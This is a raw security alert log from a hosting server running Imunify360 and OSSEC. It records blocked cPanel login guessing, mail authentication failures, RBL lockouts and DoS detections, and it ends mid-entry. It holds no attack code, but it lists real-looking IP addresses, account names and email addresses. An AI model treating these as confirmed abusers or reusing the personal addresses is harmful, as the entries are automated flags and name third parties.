Jun 26 00:45:14 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.85.109.137 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 98.198.249.80
country_id: 6252001
description:
[2026-06-26 00:45:25 +0000] info [cpaneld] 98.198.249.80 - nstream "GET /login/?login_only=1&user=nstream&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user nstream (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 63.41.195.210
country_id: 6252001
description:
[2026-06-26 00:45:34 +0000] info [cpaneld] 63.41.195.210 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 68.12.21.76
country_id: 6252001
description:
[2026-06-26 00:45:44 +0000] info [cpaneld] 68.12.21.76 - togointe "GET /login/?login_only=1&user=togointe&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togointe (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 72.189.95.135
country_id: 6252001
description:
[2026-06-26 00:45:49 +0000] info [cpaneld] 72.189.95.135 - togoint "GET /login/?login_only=1&user=togoint&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togoint (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 47.195.16.27
country_id: 6252001
description:
[2026-06-26 00:45:21 +0000] info [cpaneld] 47.195.16.27 - nstreamp "GET /login/?login_only=1&user=nstreamp&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user nstreamp (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 172.59.85.254
country_id: 6252001
description:
[2026-06-26 00:46:08 +0000] info [cpaneld] 172.59.85.254 - to "GET /login/?login_only=1&user=to&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user to (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 76.111.45.0
country_id: 6252001
description:
[2026-06-26 00:45:41 +0000] info [cpaneld] 76.111.45.0 - nst "GET /login/?login_only=1&user=nst&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user nst (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 98.253.237.90
country_id: 6252001
description:
[2026-06-26 00:45:13 +0000] info [cpaneld] 98.253.237.90 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 154.7.240.99
country_id: 3469034
domain: www.sncom.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/139.0.7258.5 Safari/537.36||RSV:8.20||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 24.254.42.45
country_id: 6252001
description:
[2026-06-26 00:45:37 +0000] info [cpaneld] 24.254.42.45 - togointerim "GET /login/?login_only=1&user=togointerim&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togointerim (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.174.125.183
country_id: 3469034
description:
Jun 26 00:47:01 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.174.125.183 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 114.130.99.217
country_id: 1210997
description:
[2026-06-26 00:46:15 +0000] info [cpaneld] 114.130.99.217 - leadelles "GET /login/?login_only=1&user=leadelles&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user leadelles (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 14.233.226.75
country_id: 1562822
description:
[2026-06-26 00:46:27 +0000] info [cpaneld] 14.233.226.75 - leadell "GET /login/?login_only=1&user=leadell&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user leadell (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 80.244.43.237
country_id: 2017370
description:
[2026-06-26 00:46:38 +0000] info [cpaneld] 80.244.43.237 - lead "GET /login/?login_only=1&user=lead&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lead (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.237.32.55
country_id: 3932488
description:
[2026-06-26 00:46:34 +0000] info [cpaneld] 190.237.32.55 - leade "GET /login/?login_only=1&user=leade&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user leade (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 223.205.216.215
country_id: 1605651
description:
[2026-06-26 00:46:31 +0000] info [cpaneld] 223.205.216.215 - leadel "GET /login/?login_only=1&user=leadel&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user leadel (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.117.63.22
country_id: 1210997
description:
[2026-06-26 00:46:10 +0000] info [cpaneld] 45.117.63.22 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 170.64.241.20
country_id: 2077456
description:
170.64.241.20 - - [26/Jun/2026:00:47:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13015450&pdata=https%253A%252F%252Flibertetogo.tg%252F6&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782434871 HTTP/2.0" 302 0 libertetogo.tg "https://libertetogo.tg/6" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Brave/1 Mobile/15E148 Safari/604.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:170.64.241.20


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 34.131.138.163
country_id: 1269750
description:
Denial of Service (DoS) attack was discovered from 34.131.138.163: 80 connections per 30 seconds to 443 port.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 74.96.142.176
country_id: 6252001
description:
[2026-06-26 00:48:10 +0000] info [cpaneld] 74.96.142.176 - cciatv "GET /login/?login_only=1&user=cciatv&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cciatv (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 195.132.35.238
country_id: 3017382
description:
195.132.35.238 - - [26/Jun/2026:00:48:01 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9881453&pdata=https%253A%252F%252Flibertetogo.tg%252F6&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782434879 HTTP/2.0" 302 0 libertetogo.tg "https://libertetogo.tg/6" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0 Mobile/15E148 Safari/604.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:195.132.35.238


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 195.132.35.238
country_id: 3017382
description:
195.132.35.238 - - [26/Jun/2026:00:48:11 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6644422&pdata=https%253A%252F%252Flibertetogo.tg%252F6&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782434890 HTTP/2.0" 302 0 libertetogo.tg "https://libertetogo.tg/6" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0 Mobile/15E148 Safari/604.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:195.132.35.238


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.93.6.230
country_id: 1814991
description:
2026-06-26 00:49:08 dovecot_login authenticator failed for H=([211.93.6.230]) [211.93.6.230]:15748: 535 Incorrect authentication data (set_id=scan@togosem.com)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 170.64.241.20
country_id: 2077456
description:
170.64.241.20 - - [26/Jun/2026:00:48:11 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10195814&pdata=https%253A%252F%252Flibertetogo.tg%252F6&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782434889 HTTP/2.0" 302 0 libertetogo.tg "https://libertetogo.tg/6" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Brave/1 Mobile/15E148 Safari/604.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:170.64.241.20


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 184.57.23.26
country_id: 6252001
description:
[2026-06-26 00:48:22 +0000] info [cpaneld] 184.57.23.26 - snbtg "GET /login/?login_only=1&user=snbtg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user snbtg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.164.215.3
country_id: 6252001
description:
[2026-06-26 00:48:26 +0000] info [cpaneld] 73.164.215.3 - sn "GET /login/?login_only=1&user=sn&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sn (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.55.89.5
country_id: 1269750
description:
2026-06-26 00:48:56 dovecot_login authenticator failed for H=([103.55.89.5]) [103.55.89.5]:42430: 535 Incorrect authentication data (set_id=scan@togosem.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.160.217.84
country_id: 6252001
description:
[2026-06-26 00:48:18 +0000] info [cpaneld] 73.160.217.84 - snb "GET /login/?login_only=1&user=snb&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user snb (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.253.58.23
country_id: 1643084
description:
2026-06-26 00:48:51 dovecot_plain authenticator failed for H=(localhost) [182.253.58.23]:17345: 535 Incorrect authentication data (set_id=ptitrikou@mesyscom.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.55.89.5
country_id: 1269750
description:
Jun 26 00:48:54 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.55.89.5 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.93.6.230
country_id: 1814991
description:
Jun 26 00:49:06 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.93.6.230 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 76.90.11.119
country_id: 6252001
description:
[2026-06-26 00:48:28 +0000] info [cpaneld] 76.90.11.119 - cc "GET /login/?login_only=1&user=cc&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cc (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 104.236.35.101
country_id: 6252001
description:
Jun 26 00:48:42 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 104.236.35.101 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.125.12.216
country_id: 6252001
description:
[2026-06-26 00:49:47 +0000] info [cpaneld] 73.125.12.216 - togoa "GET /login/?login_only=1&user=togoa&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togoa (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.101.233.6
country_id: 2921044
description:
Jun 26 00:49:20 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.101.233.6 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 97.101.112.173
country_id: 6252001
description:
[2026-06-26 00:49:30 +0000] info [cpaneld] 97.101.112.173 - expertsdefense "GET /login/?login_only=1&user=expertsdefense&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user expertsdefense (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 98.10.166.173
country_id: 6252001
description:
[2026-06-26 00:49:44 +0000] info [cpaneld] 98.10.166.173 - togoat "GET /login/?login_only=1&user=togoat&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togoat (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 68.109.52.5
country_id: 6252001
description:
[2026-06-26 00:49:52 +0000] info [cpaneld] 68.109.52.5 - tog "GET /login/?login_only=1&user=tog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tog (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.93.6.230
country_id: 1814991
description:
Jun 26 00:49:28 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.93.6.230 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 172.58.3.156
country_id: 6252001
description:
[2026-06-26 00:49:43 +0000] info [cpaneld] 172.58.3.156 - experts "GET /login/?login_only=1&user=experts&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user experts (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 172.56.26.144
country_id: 6252001
description:
[2026-06-26 00:49:47 +0000] info [cpaneld] 172.56.26.144 - expert "GET /login/?login_only=1&user=expert&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user expert (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 24.10.218.191
country_id: 6252001
description:
[2026-06-26 00:49:55 +0000] info [cpaneld] 24.10.218.191 - exp "GET /login/?login_only=1&user=exp&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user exp (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.93.6.230
country_id: 1814991
description:
2026-06-26 00:49:30 dovecot_login authenticator failed for H=([211.93.6.230]) [211.93.6.230]:18578: 535 Incorrect authentication data (set_id=scan@togosem.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.73
country_id: 3175395
description:
Jun 26 00:50:28 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.73 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.132.25.245
country_id: 1814991
description:
Jun 26 00:50:58 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.132.25.245 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.168.133.37
country_id: 2363686
description:
[2026-06-26 00:50:13 +0000] info [webmaild] 196.168.133.37 - chef.dgi@ucao-uut.tg "POST /cpsess1452421446/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.172
country_id: 690791
description:
2026-06-26 00:50:32 H=([45.144.212.172]) [45.144.212.172]:61605 F=<dpr@priv8shop.com> rejected RCPT <jagabanthe2nd@yahoo.com>: Sender verify failed


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 8.231.230.41
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 8.231.230.41: 80 connections per 30 seconds to 443 port.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 75.65.137.30
country_id: 6252001
description:
[2026-06-26 00:50:21 +0000] info [cpaneld] 75.65.137.30 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 74.101.94.96
country_id: 6252001
description:
[2026-06-26 00:50:48 +0000] info [cpaneld] 74.101.94.96 - caiss "GET /login/?login_only=1&user=caiss&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user caiss (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 198.73.9.54
country_id: 6252001
description:
[2026-06-26 00:50:51 +0000] info [cpaneld] 198.73.9.54 - cais "GET /login/?login_only=1&user=cais&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cais (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.225.52.111
country_id: 290557
description:
Jun 26 00:51:01 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.225.52.111 has been locked due to Imunify RBL


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 34.97.17.106
country_id: 1861060
description:
Denial of Service (DoS) attack was discovered from 34.97.17.106: 80 connections per 30 seconds to 443 port.


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.128.115.151
country_id: 1814991
description:
Jun 26 00:50:51 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.128.115.151 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 68.57.156.32
country_id: 6252001
description:
[2026-06-26 00:51:27 +0000] info [cpaneld] 68.57.156.32 - soe "GET /login/?login_only=1&user=soe&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user soe (has_cpuser_file failed)


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 34.50.169.200
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 34.50.169.200: 80 connections per 30 seconds to 443 port.


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.168.133.37
country_id: 2363686
description:
[2026-06-26 00:51:14 +0000] info [webmaild] 196.168.133.37 - chef.dgi@ucao-uut.tg "POST /cpsess1452421446/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 24.163.92.82
country_id: 6252001
description:
[2026-06-26 00:52:07 +0000] info [cpaneld] 24.163.92.82 - wagestg "GET /login/?login_only=1&user=wagestg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user wagestg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.115.118.178
country_id: 3608932
description:
[2026-06-26 00:52:40 +0000] info [cpaneld] 181.115.118.178 - ceca "GET /login/?login_only=1&user=ceca&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ceca (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.163.182.22
country_id: 1282988
description:
[2026-06-26 00:52:45 +0000] info [cpaneld] 103.163.182.22 - cec "GET /login/?login_only=1&user=cec&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cec (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.58.210
country_id: 3017382
description:
Jun 26 00:52:50 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.58.210 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.59.134.236
country_id: 1269750
description:
Jun 26 00:52:43 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.59.134.236 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 188.243.170.109
country_id: 2017370
description:
[2026-06-26 00:52:29 +0000] info [cpaneld] 188.243.170.109 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.158.95.49
country_id: 3508796
description:
[2026-06-26 00:52:33 +0000] info [cpaneld] 38.158.95.49 - cecap "GET /login/?login_only=1&user=cecap&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cecap (has_cpuser_file failed)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.168.133.37
country_id: 2363686
description:
[2026-06-26 00:53:13 +0000] info [webmaild] 196.168.133.37 - chef.dgi@ucao-uut.tg "POST /cpsess1452421446/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.133.115.23
country_id: 6252001
description:
[2026-06-26 00:53:50 +0000] info [cpaneld] 45.133.115.23 - primuscourtiertg "POST /login/?login HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user primuscourtiertg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 157.22.74.59
country_id: 241170
description:
[2026-06-26 00:53:55 +0000] info [webmaild] 157.22.74.59 - sessou.e@inger.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.96.185.131
country_id: 1814991
description:
Jun 26 00:54:18 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.96.185.131 has been locked due to Imunify RBL


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 34.106.231.113
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 34.106.231.113: 80 connections per 30 seconds to 443 port.


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.137.144.166
country_id: 1814991
description:
Jun 26 00:54:40 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.137.144.166 has been locked due to Imunify RBL


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 170.64.241.20
country_id: 2077456
description:
170.64.241.20 - - [26/Jun/2026:00:55:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13015450&pdata=https%253A%252F%252Flibertetogo.tg%252F6&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782434871 HTTP/2.0" 404 159 libertetogo.tg "https://libertetogo.tg/6" "Mozilla/5.0 (iPad; U; CPU OS 5_0 like Mac OS X; en-us) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.0.2 Mobile/9A5248d Safari/6533.18.5#2.0#TCL/TCL-AP-MT56-S1/19/tclwebkit1.0.2/1920*1080(442098754,null;300133725,ff5eb3a127824c42a1875ff581b90f5d)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:170.64.241.20


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 133.88.123.11
country_id: 1861060
description:
Jun 26 00:56:10 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 133.88.123.11 has been locked due to Imunify RBL


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 93.71.103.137
country_id: 3175395
description:
93.71.103.137 - - [26/Jun/2026:00:58:08 +0000] "GET /favicon.ico HTTP/2.0" 415 185 libertetogo.tg "https://libertetogo.tg/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13015450&pdata=https%253A%252F%252Flibertetogo.tg%252F6&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782434871" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Brave/1 Mobile/15E148 Safari/604.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:93.71.103.137


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 93.71.103.137
country_id: 3175395
description:
93.71.103.137 - - [26/Jun/2026:00:58:08 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13015450&pdata=https%253A%252F%252Flibertetogo.tg%252F6&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782434871 HTTP/2.0" 404 159 libertetogo.tg "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Brave/1 Mobile/15E148 Safari/604.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:93.71.103.137


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 174.101.77.236
country_id: 6252001
description:
[2026-06-26 00:59:08 +0000] info [cpaneld] 174.101.77.236 - np "GET /login/?login_only=1&user=np&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user np (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.245.236.231
country_id: 1562822
description:
Jun 26 00:59:51 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.245.236.231 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 160.153.186.46
country_id: 6252001
description:
Jun 26 00:59:15 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 160.153.186.46 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.253.248.40
country_id: 130758
description:
Jun 26 01:00:41 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.253.248.40 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 164.92.198.75
country_id: 2921044
description:
Jun 26 01:00:52 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 164.92.198.75 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.88.56.1
country_id: 6252001
description:
Jun 26 01:01:02 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.88.56.1 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.170.24
country_id: 3175395
description:
Jun 26 01:01:08 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.170.24 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.170.24
country_id: 3175395
description:
Jun 26 01:01:15 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.170.24 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 23.129.64.159
country_id: 6252001
description:
Jun 26 01:01:23 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 23.129.64.159 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 23.129.64.159
country_id: 6252001
description:
2026-06-26 01:01:25 dovecot_plain authenticator failed for H=(gdja4od46cefl3acsa9jn6a5snkx) [23.129.64.159]:21431: 535 Incorrect authentication data (set_id=ag@togointerim.net)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.182.67
country_id: 1880251
description:
